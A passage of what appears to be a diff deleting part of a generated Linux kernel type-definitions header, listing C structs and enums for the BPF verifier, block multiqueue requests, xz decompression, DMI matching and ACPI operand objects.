__BPF_ARG_TYPE_MAX = 25, - ARG_PTR_TO_MAP_VALUE_OR_NULL = 259, - ARG_PTR_TO_MEM_OR_NULL = 260, - ARG_PTR_TO_CTX_OR_NULL = 263, - ARG_PTR_TO_SOCKET_OR_NULL = 269, - ARG_PTR_TO_STACK_OR_NULL = 276, - ARG_PTR_TO_BTF_ID_OR_NULL = 270, - ARG_PTR_TO_UNINIT_MEM = 32772, - ARG_PTR_TO_FIXED_SIZE_MEM = 262148, - __BPF_ARG_TYPE_LIMIT = 4194303, -}; - -enum bpf_return_type { - RET_INTEGER = 0, - RET_VOID = 1, - RET_PTR_TO_MAP_VALUE = 2, - RET_PTR_TO_SOCKET = 3, - RET_PTR_TO_TCP_SOCK = 4, - RET_PTR_TO_SOCK_COMMON = 5, - RET_PTR_TO_MEM = 6, - RET_PTR_TO_MEM_OR_BTF_ID = 7, - RET_PTR_TO_BTF_ID = 8, - __BPF_RET_TYPE_MAX = 9, - RET_PTR_TO_MAP_VALUE_OR_NULL = 258, - RET_PTR_TO_SOCKET_OR_NULL = 259, - RET_PTR_TO_TCP_SOCK_OR_NULL = 260, - RET_PTR_TO_SOCK_COMMON_OR_NULL = 261, - RET_PTR_TO_RINGBUF_MEM_OR_NULL = 1286, - RET_PTR_TO_DYNPTR_MEM_OR_NULL = 262, - RET_PTR_TO_BTF_ID_OR_NULL = 264, - RET_PTR_TO_BTF_ID_TRUSTED = 1048584, - __BPF_RET_TYPE_LIMIT = 4194303, -}; - -struct bpf_func_proto { - u64 (*func)(u64, u64, u64, u64, u64); - bool gpl_only; - bool pkt_access; - bool might_sleep; - enum bpf_return_type ret_type; - union { - struct { - enum bpf_arg_type arg1_type; - enum bpf_arg_type arg2_type; - enum bpf_arg_type arg3_type; - enum bpf_arg_type arg4_type; - enum bpf_arg_type arg5_type; - }; - enum bpf_arg_type arg_type[5]; - }; - union { - struct { - u32 *arg1_btf_id; - u32 *arg2_btf_id; - u32 *arg3_btf_id; - u32 *arg4_btf_id; - u32 *arg5_btf_id; - }; - u32 *arg_btf_id[5]; - struct { - size_t arg1_size; - size_t arg2_size; - size_t arg3_size; - size_t arg4_size; - size_t arg5_size; - }; - size_t arg_size[5]; - }; - int *ret_btf_id; - bool (*allowed)(const struct bpf_prog *); -}; - -enum bpf_access_type { - BPF_READ = 1, - BPF_WRITE = 2, -}; - -struct bpf_insn_access_aux { - enum bpf_reg_type reg_type; - union { - int ctx_field_size; - struct { - struct btf *btf; - u32 btf_id; - }; - }; - struct bpf_verifier_log *log; -}; - -struct bpf_verifier_ops { - const struct bpf_func_proto * (*get_func_proto)(enum bpf_func_id, const struct bpf_prog *); - bool (*is_valid_access)(int, int, enum bpf_access_type, const struct bpf_prog *, struct bpf_insn_access_aux *); - int (*gen_prologue)(struct bpf_insn *, bool, const struct bpf_prog *); - int (*gen_ld_abs)(const struct bpf_insn *, struct bpf_insn *); - u32 (*convert_ctx_access)(enum bpf_access_type, const struct bpf_insn *, struct bpf_insn *, struct bpf_prog *, u32 *); - int (*btf_struct_access)(struct bpf_verifier_log *, const struct bpf_reg_state *, int, int, enum bpf_access_type, u32 *, enum bpf_type_flag *); -}; - -struct bpf_link_ops; - -struct bpf_link { - atomic64_t refcnt; - u32 id; - enum bpf_link_type type; - const struct bpf_link_ops *ops; - struct bpf_prog *prog; - struct work_struct work; -}; - -struct bpf_tramp_link { - struct bpf_link link; - struct hlist_node tramp_hlist; - u64 cookie; -}; - -struct bpf_tramp_run_ctx { - struct bpf_run_ctx run_ctx; - u64 bpf_cookie; - struct bpf_run_ctx *saved_run_ctx; -}; - -struct bpf_attach_target_info { - struct btf_func_model fmodel; - long int tgt_addr; - const char *tgt_name; - const struct btf_type *tgt_type; -}; - -struct bpf_link_ops { - void (*release)(struct bpf_link *); - void (*dealloc)(struct bpf_link *); - int (*detach)(struct bpf_link *); - int (*update_prog)(struct bpf_link *, struct bpf_prog *, struct bpf_prog *); - void (*show_fdinfo)(const struct bpf_link *, struct seq_file *); - int (*fill_link_info)(const struct bpf_link *, struct bpf_link_info *); -}; - -struct bpf_tracing_link { - struct bpf_tramp_link link; - enum bpf_attach_type attach_type; - struct bpf_trampoline *trampoline; - struct bpf_prog *tgt_prog; -}; - -struct bpf_link_primer { - struct bpf_link *link; - struct file *file; - int fd; - u32 id; -}; - -enum { - CSS_NO_REF = 1, - CSS_ONLINE = 2, - CSS_RELEASED = 4, - CSS_VISIBLE = 8, - CSS_DYING = 16, -}; - -typedef unsigned int (*bpf_dispatcher_fn)(const void *, const struct bpf_insn *, unsigned int (*)(const void *, const struct bpf_insn *)); - -struct rhash_lock_head {}; - -struct bpf_stack_state { - struct bpf_reg_state spilled_ptr; - u8 slot_type[8]; -}; - -struct bpf_reference_state { - int id; - int insn_idx; - int callback_ref; - bool release_on_unlock; -}; - -struct bpf_idx_pair { - u32 prev_idx; - u32 idx; -}; - -struct bpf_verifier_state { - struct bpf_func_state *frame[8]; - struct bpf_verifier_state *parent; - u32 branches; - u32 insn_idx; - u32 curframe; - struct { - void *ptr; - u32 id; - } active_lock; - bool speculative; - bool active_rcu_lock; - u32 first_insn_idx; - u32 last_insn_idx; - struct bpf_idx_pair *jmp_history; - u32 jmp_history_cnt; -}; - -struct bpf_verifier_state_list { - struct bpf_verifier_state state; - struct bpf_verifier_state_list *next; - int miss_cnt; - int hit_cnt; -}; - -struct bpf_loop_inline_state { - unsigned int initialized: 1; - unsigned int fit_for_inline: 1; - u32 callback_subprogno; -}; - -struct bpf_insn_aux_data { - union { - enum bpf_reg_type ptr_type; - long unsigned int map_ptr_state; - s32 call_imm; - u32 alu_limit; - struct { - u32 map_index; - u32 map_off; - }; - struct { - enum bpf_reg_type reg_type; - union { - struct { - struct btf *btf; - u32 btf_id; - }; - u32 mem_size; - }; - } btf_var; - struct bpf_loop_inline_state loop_inline_state; - }; - u64 obj_new_size; - struct btf_struct_meta *kptr_struct_meta; - u64 map_key_state; - int ctx_field_size; - u32 seen; - bool sanitize_stack_spill; - bool zext_dst; - bool storage_get_func_atomic; - u8 alu_state; - unsigned int orig_idx; - bool prune_point; - bool jmp_point; -}; - -enum perf_bpf_event_type { - PERF_BPF_EVENT_UNKNOWN = 0, - PERF_BPF_EVENT_PROG_LOAD = 1, - PERF_BPF_EVENT_PROG_UNLOAD = 2, - PERF_BPF_EVENT_MAX = 3, -}; - -enum audit_ntp_type { - AUDIT_NTP_OFFSET = 0, - AUDIT_NTP_FREQ = 1, - AUDIT_NTP_STATUS = 2, - AUDIT_NTP_TAI = 3, - AUDIT_NTP_TICK = 4, - AUDIT_NTP_ADJUST = 5, - AUDIT_NTP_NVALS = 6, -}; - -enum bpf_audit { - BPF_AUDIT_LOAD = 0, - BPF_AUDIT_UNLOAD = 1, - BPF_AUDIT_MAX = 2, -}; - -struct bpf_prog_kstats { - u64 nsecs; - u64 cnt; - u64 misses; -}; - -struct bpf_raw_tp_link { - struct bpf_link link; - struct bpf_raw_event_map *btp; -}; - -struct bpf_perf_link { - struct bpf_link link; - struct file *perf_file; -}; - -typedef u64 (*btf_bpf_sys_bpf)(int, union bpf_attr *, u32); - -typedef u64 (*btf_bpf_sys_close)(u32); - -typedef u64 (*btf_bpf_kallsyms_lookup_name)(const char *, int, int, u64 *); - -struct audit_buffer; - -typedef __u64 __le64; - -typedef struct { - u64 a; - u64 b; -} u128; - -typedef struct { - __le64 b; - __le64 a; -} le128; - -struct gf128mul_64k { - struct gf128mul_4k *t[16]; -}; - -struct xxhash64_tfm_ctx { - u64 seed; -}; - -struct xxhash64_desc_ctx { - struct xxh64_state xxhstate; -}; - -struct __call_single_data { - struct __call_single_node node; - smp_call_func_t func; - void *info; -}; - -struct io_cq { - struct request_queue *q; - struct io_context *ioc; - union { - struct list_head q_node; - struct kmem_cache *__rcu_icq_cache; - }; - union { - struct hlist_node ioc_node; - struct callback_head __rcu_head; - }; - unsigned int flags; -}; - -struct sbitmap_word { - long unsigned int word; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long unsigned int cleared; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct sbitmap { - unsigned int depth; - unsigned int shift; - unsigned int map_nr; - bool round_robin; - struct sbitmap_word *map; - unsigned int *alloc_hint; -}; - -struct sbq_wait_state { - atomic_t wait_cnt; - wait_queue_head_t wait; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct sbitmap_queue { - struct sbitmap sb; - unsigned int wake_batch; - atomic_t wake_index; - struct sbq_wait_state *ws; - atomic_t ws_active; - unsigned int min_shallow_depth; -}; - -typedef __u32 req_flags_t; - -enum mq_rq_state { - MQ_RQ_IDLE = 0, - MQ_RQ_IN_FLIGHT = 1, - MQ_RQ_COMPLETE = 2, -}; - -enum rq_end_io_ret { - RQ_END_IO_NONE = 0, - RQ_END_IO_FREE = 1, -}; - -typedef enum rq_end_io_ret rq_end_io_fn(struct request *, blk_status_t); - -struct request { - struct request_queue *q; - struct blk_mq_ctx *mq_ctx; - struct blk_mq_hw_ctx *mq_hctx; - blk_opf_t cmd_flags; - req_flags_t rq_flags; - int tag; - int internal_tag; - unsigned int timeout; - unsigned int __data_len; - sector_t __sector; - struct bio *bio; - struct bio *biotail; - union { - struct list_head queuelist; - struct request *rq_next; - }; - struct block_device *part; - u64 start_time_ns; - u64 io_start_time_ns; - short unsigned int stats_sectors; - short unsigned int nr_phys_segments; - short unsigned int write_hint; - short unsigned int ioprio; - enum mq_rq_state state; - atomic_t ref; - long unsigned int deadline; - union { - struct hlist_node hash; - struct llist_node ipi_list; - }; - union { - struct rb_node rb_node; - struct bio_vec special_vec; - void *completion_data; - }; - union { - struct { - struct io_cq *icq; - void *priv[2]; - } elv; - struct { - unsigned int seq; - struct list_head list; - rq_end_io_fn *saved_end_io; - } flush; - }; - union { - struct __call_single_data csd; - u64 fifo_time; - }; - rq_end_io_fn *end_io; - void *end_io_data; -}; - -struct blk_mq_ctxs; - -struct blk_mq_ctx { - struct { - spinlock_t lock; - struct list_head rq_lists[3]; - long: 64; - long: 64; - }; - unsigned int cpu; - short unsigned int index_hw[3]; - struct blk_mq_hw_ctx *hctxs[3]; - struct request_queue *queue; - struct blk_mq_ctxs *ctxs; - struct kobject kobj; - long: 64; -}; - -struct blk_stat_callback { - struct list_head list; - struct timer_list timer; - struct blk_rq_stat *cpu_stat; - int (*bucket_fn)(const struct request *); - unsigned int buckets; - struct blk_rq_stat *stat; - void (*timer_fn)(struct blk_stat_callback *); - void *data; - struct callback_head rcu; -}; - -struct blk_mq_tags { - unsigned int nr_tags; - unsigned int nr_reserved_tags; - atomic_t active_queues; - struct sbitmap_queue bitmap_tags; - struct sbitmap_queue breserved_tags; - struct request **rqs; - struct request **static_rqs; - struct list_head page_list; - spinlock_t lock; -}; - -struct blk_flush_queue { - unsigned int flush_pending_idx: 1; - unsigned int flush_running_idx: 1; - blk_status_t rq_status; - long unsigned int flush_pending_since; - struct list_head flush_queue[2]; - struct list_head flush_data_in_flight; - struct request *flush_rq; - spinlock_t mq_flush_lock; -}; - -struct blk_mq_tag_set { - struct blk_mq_queue_map map[3]; - unsigned int nr_maps; - const struct blk_mq_ops *ops; - unsigned int nr_hw_queues; - unsigned int queue_depth; - unsigned int reserved_tags; - unsigned int cmd_size; - int numa_node; - unsigned int timeout; - unsigned int flags; - void *driver_data; - struct blk_mq_tags **tags; - struct blk_mq_tags *shared_tags; - struct mutex tag_list_lock; - struct list_head tag_list; -}; - -struct blk_mq_hw_ctx { - struct { - spinlock_t lock; - struct list_head dispatch; - long unsigned int state; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - }; - struct delayed_work run_work; - cpumask_var_t cpumask; - int next_cpu; - int next_cpu_batch; - long unsigned int flags; - void *sched_data; - struct request_queue *queue; - struct blk_flush_queue *fq; - void *driver_data; - struct sbitmap ctx_map; - struct blk_mq_ctx *dispatch_from; - unsigned int dispatch_busy; - short unsigned int type; - short unsigned int nr_ctx; - struct blk_mq_ctx **ctxs; - spinlock_t dispatch_wait_lock; - wait_queue_entry_t dispatch_wait; - atomic_t wait_index; - struct blk_mq_tags *tags; - struct blk_mq_tags *sched_tags; - long unsigned int queued; - long unsigned int run; - unsigned int numa_node; - unsigned int queue_num; - atomic_t nr_active; - struct hlist_node cpuhp_online; - struct hlist_node cpuhp_dead; - struct kobject kobj; - struct dentry *debugfs_dir; - struct dentry *sched_debugfs_dir; - struct list_head hctx_list; -}; - -struct blk_mq_queue_data { - struct request *rq; - bool last; -}; - -struct blk_mq_ctxs { - struct kobject kobj; - struct blk_mq_ctx *queue_ctx; -}; - -struct io_fadvise { - struct file *file; - u64 offset; - u32 len; - u32 advice; -}; - -struct io_madvise { - struct file *file; - u64 addr; - u32 len; - u32 advice; -}; - -enum xz_mode { - XZ_SINGLE = 0, - XZ_PREALLOC = 1, - XZ_DYNALLOC = 2, -}; - -enum xz_ret { - XZ_OK = 0, - XZ_STREAM_END = 1, - XZ_UNSUPPORTED_CHECK = 2, - XZ_MEM_ERROR = 3, - XZ_MEMLIMIT_ERROR = 4, - XZ_FORMAT_ERROR = 5, - XZ_OPTIONS_ERROR = 6, - XZ_DATA_ERROR = 7, - XZ_BUF_ERROR = 8, -}; - -struct xz_buf { - const uint8_t *in; - size_t in_pos; - size_t in_size; - uint8_t *out; - size_t out_pos; - size_t out_size; -}; - -typedef uint64_t vli_type; - -enum xz_check { - XZ_CHECK_NONE = 0, - XZ_CHECK_CRC32 = 1, - XZ_CHECK_CRC64 = 4, - XZ_CHECK_SHA256 = 10, -}; - -struct xz_dec_hash { - vli_type unpadded; - vli_type uncompressed; - uint32_t crc32; -}; - -struct xz_dec_lzma2; - -struct xz_dec_bcj; - -struct xz_dec { - enum { - SEQ_STREAM_HEADER = 0, - SEQ_BLOCK_START = 1, - SEQ_BLOCK_HEADER = 2, - SEQ_BLOCK_UNCOMPRESS = 3, - SEQ_BLOCK_PADDING = 4, - SEQ_BLOCK_CHECK = 5, - SEQ_INDEX = 6, - SEQ_INDEX_PADDING = 7, - SEQ_INDEX_CRC32 = 8, - SEQ_STREAM_FOOTER = 9, - } sequence; - uint32_t pos; - vli_type vli; - size_t in_start; - size_t out_start; - uint32_t crc32; - enum xz_check check_type; - enum xz_mode mode; - bool allow_buf_error; - struct { - vli_type compressed; - vli_type uncompressed; - uint32_t size; - } block_header; - struct { - vli_type compressed; - vli_type uncompressed; - vli_type count; - struct xz_dec_hash hash; - } block; - struct { - enum { - SEQ_INDEX_COUNT = 0, - SEQ_INDEX_UNPADDED = 1, - SEQ_INDEX_UNCOMPRESSED = 2, - } sequence; - vli_type size; - vli_type count; - struct xz_dec_hash hash; - } index; - struct { - size_t pos; - size_t size; - uint8_t buf[1024]; - } temp; - struct xz_dec_lzma2 *lzma2; - struct xz_dec_bcj *bcj; - bool bcj_active; -}; - -struct seccomp_data { - int nr; - __u32 arch; - __u64 instruction_pointer; - __u64 args[6]; -}; - -struct syscall_info { - __u64 sp; - struct seccomp_data data; -}; - -enum dmi_field { - DMI_NONE = 0, - DMI_BIOS_VENDOR = 1, - DMI_BIOS_VERSION = 2, - DMI_BIOS_DATE = 3, - DMI_BIOS_RELEASE = 4, - DMI_EC_FIRMWARE_RELEASE = 5, - DMI_SYS_VENDOR = 6, - DMI_PRODUCT_NAME = 7, - DMI_PRODUCT_VERSION = 8, - DMI_PRODUCT_SERIAL = 9, - DMI_PRODUCT_UUID = 10, - DMI_PRODUCT_SKU = 11, - DMI_PRODUCT_FAMILY = 12, - DMI_BOARD_VENDOR = 13, - DMI_BOARD_NAME = 14, - DMI_BOARD_VERSION = 15, - DMI_BOARD_SERIAL = 16, - DMI_BOARD_ASSET_TAG = 17, - DMI_CHASSIS_VENDOR = 18, - DMI_CHASSIS_TYPE = 19, - DMI_CHASSIS_VERSION = 20, - DMI_CHASSIS_SERIAL = 21, - DMI_CHASSIS_ASSET_TAG = 22, - DMI_STRING_MAX = 23, - DMI_OEM_STRING = 24, -}; - -struct dmi_strmatch { - unsigned char slot: 7; - unsigned char exact_match: 1; - char substr[79]; -}; - -struct dmi_system_id { - int (*callback)(const struct dmi_system_id *); - const char *ident; - struct dmi_strmatch matches[4]; - void *driver_data; -}; - -enum { - pci_channel_io_normal = 1, - pci_channel_io_frozen = 2, - pci_channel_io_perm_failure = 3, -}; - -enum pci_ers_result { - PCI_ERS_RESULT_NONE = 1, - PCI_ERS_RESULT_CAN_RECOVER = 2, - PCI_ERS_RESULT_NEED_RESET = 3, - PCI_ERS_RESULT_DISCONNECT = 4, - PCI_ERS_RESULT_RECOVERED = 5, - PCI_ERS_RESULT_NO_AER_DRIVER = 6, -}; - -struct acpi_subtable_header { - u8 type; - u8 length; -}; - -struct acpi_table_madt { - struct acpi_table_header header; - u32 address; - u32 flags; -}; - -enum acpi_madt_type { - ACPI_MADT_TYPE_LOCAL_APIC = 0, - ACPI_MADT_TYPE_IO_APIC = 1, - ACPI_MADT_TYPE_INTERRUPT_OVERRIDE = 2, - ACPI_MADT_TYPE_NMI_SOURCE = 3, - ACPI_MADT_TYPE_LOCAL_APIC_NMI = 4, - ACPI_MADT_TYPE_LOCAL_APIC_OVERRIDE = 5, - ACPI_MADT_TYPE_IO_SAPIC = 6, - ACPI_MADT_TYPE_LOCAL_SAPIC = 7, - ACPI_MADT_TYPE_INTERRUPT_SOURCE = 8, - ACPI_MADT_TYPE_LOCAL_X2APIC = 9, - ACPI_MADT_TYPE_LOCAL_X2APIC_NMI = 10, - ACPI_MADT_TYPE_GENERIC_INTERRUPT = 11, - ACPI_MADT_TYPE_GENERIC_DISTRIBUTOR = 12, - ACPI_MADT_TYPE_GENERIC_MSI_FRAME = 13, - ACPI_MADT_TYPE_GENERIC_REDISTRIBUTOR = 14, - ACPI_MADT_TYPE_GENERIC_TRANSLATOR = 15, - ACPI_MADT_TYPE_MULTIPROC_WAKEUP = 16, - ACPI_MADT_TYPE_RESERVED = 17, - ACPI_MADT_TYPE_OEM_RESERVED = 128, -}; - -struct acpi_madt_local_apic { - struct acpi_subtable_header header; - u8 processor_id; - u8 id; - u32 lapic_flags; -}; - -struct acpi_madt_io_apic { - struct acpi_subtable_header header; - u8 id; - u8 reserved; - u32 address; - u32 global_irq_base; -}; - -struct acpi_madt_local_sapic { - struct acpi_subtable_header header; - u8 processor_id; - u8 id; - u8 eid; - u8 reserved[3]; - u32 lapic_flags; - u32 uid; - char uid_string[1]; -} __attribute__((packed)); - -struct acpi_madt_local_x2apic { - struct acpi_subtable_header header; - u16 reserved; - u32 local_apic_id; - u32 lapic_flags; - u32 uid; -}; - -struct acpi_madt_generic_interrupt { - struct acpi_subtable_header header; - u16 reserved; - u32 cpu_interface_number; - u32 uid; - u32 flags; - u32 parking_version; - u32 performance_interrupt; - u64 parked_address; - u64 base_address; - u64 gicv_base_address; - u64 gich_base_address; - u32 vgic_interrupt; - u64 gicr_base_address; - u64 arm_mpidr; - u8 efficiency_class; - u8 reserved2[1]; - u16 spe_interrupt; -} __attribute__((packed)); - -typedef u64 acpi_physical_address; - -typedef u8 acpi_adr_space_type; - -typedef acpi_status (*acpi_adr_space_handler)(u32, acpi_physical_address, u32, u64 *, void *, void *); - -typedef acpi_status (*acpi_adr_space_setup)(acpi_handle, u32, void *, void **); - -struct acpi_gpio_params { - unsigned int crs_entry_index; - unsigned int line_index; - bool active_low; -}; - -typedef u16 acpi_owner_id; - -typedef u32 acpi_event_status; - -typedef u32 (*acpi_gpe_handler)(acpi_handle, u32, void *); - -typedef void (*acpi_notify_handler)(acpi_handle, u32, void *); - -typedef void (*acpi_object_handler)(acpi_handle, void *); - -union acpi_name_union { - u32 integer; - char ascii[4]; -}; - -union acpi_operand_object; - -struct acpi_namespace_node { - union acpi_operand_object *object; - u8 descriptor_type; - u8 type; - u16 flags; - union acpi_name_union name; - struct acpi_namespace_node *parent; - struct acpi_namespace_node *child; - struct acpi_namespace_node *peer; - acpi_owner_id owner_id; -}; - -struct acpi_object_common { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; -}; - -struct acpi_object_integer { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; - u8 fill[3]; - u64 value; -}; - -struct acpi_object_string { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; - char *pointer; - u32 length; -}; - -struct acpi_object_buffer { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; - u8 *pointer; - u32 length; - u32 aml_length; - u8 *aml_start; - struct acpi_namespace_node *node; -}; - -struct acpi_object_package { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; - struct acpi_namespace_node *node; - union acpi_operand_object **elements; - u8 *aml_start; - u32 aml_length; - u32 count; -}; - -struct acpi_object_event { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; - void *os_semaphore; -}; - -struct acpi_walk_state; - -typedef acpi_status (*acpi_internal_method)(struct acpi_walk_state *); - -struct acpi_object_method { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; - u8 info_flags; - u8 param_count; - u8 sync_level; - union acpi_operand_object *mutex; - union acpi_operand_object *node; - u8 *aml_start; - union { - acpi_internal_method implementation; - union acpi_operand_object *handler; - } dispatch; - u32 aml_length; - acpi_owner_id owner_id; - u8 thread_count; -}; - -struct acpi_thread_state; - -struct acpi_object_mutex { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; - u8 sync_level; - u16 acquisition_depth; - void *os_mutex; - u64 thread_id; - struct acpi_thread_state *owner_thread; - union acpi_operand_object *prev; - union acpi_operand_object *next; - struct acpi_namespace_node *node; - u8 original_sync_level; -}; - -struct acpi_object_region { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; - u8 space_id; - struct acpi_namespace_node *node; - union acpi_operand_object *handler; - union acpi_operand_object *next; - acpi_physical_address address; - u32 length; - void *pointer; -}; - -struct acpi_object_notify_common { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; - union acpi_operand_object *notify_list[2]; - union acpi_operand_object *handler; -}; - -struct acpi_gpe_block_info; - -struct acpi_object_device { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; - union acpi_operand_object *notify_list[2]; - union acpi_operand_object *handler; - struct acpi_gpe_block_info *gpe_block; -}; - -struct acpi_object_power_resource { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; - union acpi_operand_object *notify_list[2]; - union acpi_operand_object *handler; - u32 system_level; - u32 resource_order; -}; - -struct acpi_object_processor { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; - u8 proc_id; - u8 length; - union acpi_operand_object *notify_list[2]; - union acpi_operand_object *handler; - acpi_io_address address; -}; - -struct acpi_object_thermal_zone { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; - union acpi_operand_object *notify_list[2]; - union acpi_operand_object *handler; -}; - -struct acpi_object_field_common { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; - u8 field_flags; - u8 attribute; - u8 access_byte_width; - struct acpi_namespace_node *node; - u32 bit_length; - u32 base_byte_offset; - u32 value; - u8 start_field_bit_offset; - u8 access_length; - union acpi_operand_object *region_obj; -}; - -struct acpi_object_region_field { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; - u8 field_flags; - u8 attribute; - u8 access_byte_width; - struct acpi_namespace_node *node; - u32 bit_length; - u32 base_byte_offset; - u32 value; - u8 start_field_bit_offset; - u8 access_length; - u16 resource_length; - union acpi_operand_object *region_obj; - u8 *resource_buffer; - u16 pin_number_index; - u8 *internal_pcc_buffer; -}; - -struct acpi_object_buffer_field { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; - u8 field_flags; - u8 attribute; - u8 access_byte_width; - struct acpi_namespace_node *node; - u32 bit_length; - u32 base_byte_offset; - u32 value; - u8 start_field_bit_offset; - u8 access_length; - u8 is_create_field; - union acpi_operand_object *buffer_obj; -}; - -struct acpi_object_bank_field { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; - u8 field_flags; - u8 attribute; - u8 access_byte_width; - struct acpi_namespace_node *node; - u32 bit_length; - u32 base_byte_offset; - u32 value; - u8 start_field_bit_offset; - u8 access_length; - union acpi_operand_object *region_obj; - union acpi_operand_object *bank_obj; -}; - -struct acpi_object_index_field { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; - u8 field_flags; - u8 attribute; - u8 access_byte_width; - struct acpi_namespace_node *node; - u32 bit_length; - u32 base_byte_offset; - u32 value; - u8 start_field_bit_offset; - u8 access_length; - union acpi_operand_object *index_obj; - union acpi_operand_object *data_obj; -}; - -struct acpi_object_notify_handler { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; - struct acpi_namespace_node *node; - u32 handler_type; - acpi_notify_handler handler; - void *context; - union acpi_operand_object *next[2]; -}; - -struct acpi_object_addr_handler { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; - u8 space_id; - u8 handler_flags; - acpi_adr_space_handler handler; - struct acpi_namespace_node *node; - void *context; - void *context_mutex; - acpi_adr_space_setup setup; - union acpi_operand_object *region_list; - union acpi_operand_object *next; -}; - -struct acpi_object_reference { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; - u8 class; - u8 target_type; - u8 resolved; - void *object; - struct acpi_namespace_node *node; - union acpi_operand_object **where; - u8 *index_pointer; - u8 *aml; - u32 value; -}; - -struct acpi_object_extra { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; - struct acpi_namespace_node *method_REG; - struct acpi_namespace_node *scope_node; - void *region_context; - u8 *aml_start; - u32 aml_length; -}; - -struct acpi_object_data { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; - acpi_object_handler handler; - void *pointer; -}; - -struct acpi_object_cache_list { - union acpi_operand_object *next_object; - u8 descriptor_type; - u8 type; - u16 reference_count; - u8 flags; - union acpi_operand_object *next; -}; - -union acpi_operand_object { - struct acpi_object_common common; - struct acpi_object_integer integer; - struct acpi_object_string string; - struct acpi_object_buffer buffer; - struct acpi_object_package package; - struct acpi_object_event event; - struct acpi_object_method method; - struct acpi_object_mutex mutex; - struct acpi_object_region region; - struct acpi_object_notify_common common_notify; - struct acpi_object_device device; - struct acpi_object_power_resource power_resource; - struct acpi_object_processor processor; - struct acpi_object_thermal_zone thermal_zone; - struct acpi_object_field_common common_field; - struct acpi_object_region_field field; - struct acpi_object_buffer_field buffer_field; - struct acpi_object_bank_field bank_field; - struct acpi_object_index_field index_field; - struct acpi_object_notify_handler notify; - struct acpi_object_addr_handler address_space; - struct acpi_object_reference reference; - struct acpi_object_extra extra; - struct acpi_object_data data; - struct acpi_object_cache_list cache; - struct acpi_namespace_node node; -}; - -union acpi_parse_object; - -union acpi_generic_state; - -struct acpi_parse_state { - u8 *aml_start; - u8 *aml; - u8 *aml_end; - u8 *pkg_start; - u8 *pkg_end; - union acpi_parse_object *start_op; - struct acpi_namespace_node *start_node; - union acpi_generic_state *scope; - union acpi_parse_object *start_scope; - u32 aml_size; -}; - -typedef acpi_status (*acpi_parse_downwards)(struct acpi_walk_state *, union acpi_parse_object **); - -typedef acpi_status (*acpi_parse_upwards)(struct acpi_walk_state *); - -struct acpi_opcode_info; - -struct acpi_walk_state { - struct acpi_walk_state *next; - u8 descriptor_type; - u8 walk_type; - u16 opcode; - u8 next_op_info; - u8 num_operands; - u8 operand_index; - acpi_owner_id owner_id; - u8 last_predicate; - u8 current_result; - u8 return_used; - u8 scope_depth; - u8 pass_number; - u8 namespace_override; - u8 result_size; - u8 result_count; - u8 *aml; - u32 arg_types; - u32 method_breakpoint; - u32 user_breakpoint; - u32 parse_flags; - struct acpi_parse_state parser_state; - u32 prev_arg_types; - u32 arg_count; - u16 method_nesting_depth; - u8 method_is_nested; - struct acpi_namespace_node arguments[7]; - struct acpi_namespace_node local_variables[8]; - union acpi_operand_object *operands[9]; - union acpi_operand_object **params; - u8 *aml_last_while; - union acpi_operand_object **caller_return_desc; - union acpi_generic_state *control_state; - struct acpi_namespace_node *deferred_node; - union acpi_operand_object *implicit_return_obj; - struct acpi_namespace_node *method_call_node; - union acpi_parse_object *method_call_op; - union acpi_operand_object *method_desc; - struct acpi_namespace_node *method_node; - char *method_pathname; - union acpi_parse_object *op; - const struct acpi_opcode_info *op_info; - union acpi_parse_object *origin; - union acpi_operand_object *result_obj; - union acpi_generic_state *results; - union acpi_operand_object *return_desc; - union acpi_generic_state *scope_info; - union acpi_parse_object *prev_op; - union acpi_parse_object *next_op; - struct acpi_thread_state *thread; - acpi_parse_downwards descending_callback; - acpi_parse_upwards ascending_callback; -}; - -struct acpi_gpe_handler_info { - acpi_gpe_handler address; - void *context; - struct acpi_namespace_node *method_node; - u8 original_flags; - u8 originally_enabled; -}; - -struct acpi_gpe_notify_info { - struct acpi_namespace_node *device_node; - struct acpi_gpe_notify_info *next; -}; - -union acpi_gpe_dispatch_info { - struct acpi_namespace_node *method_node; - struct acpi_gpe_handler_info *handler; - struct 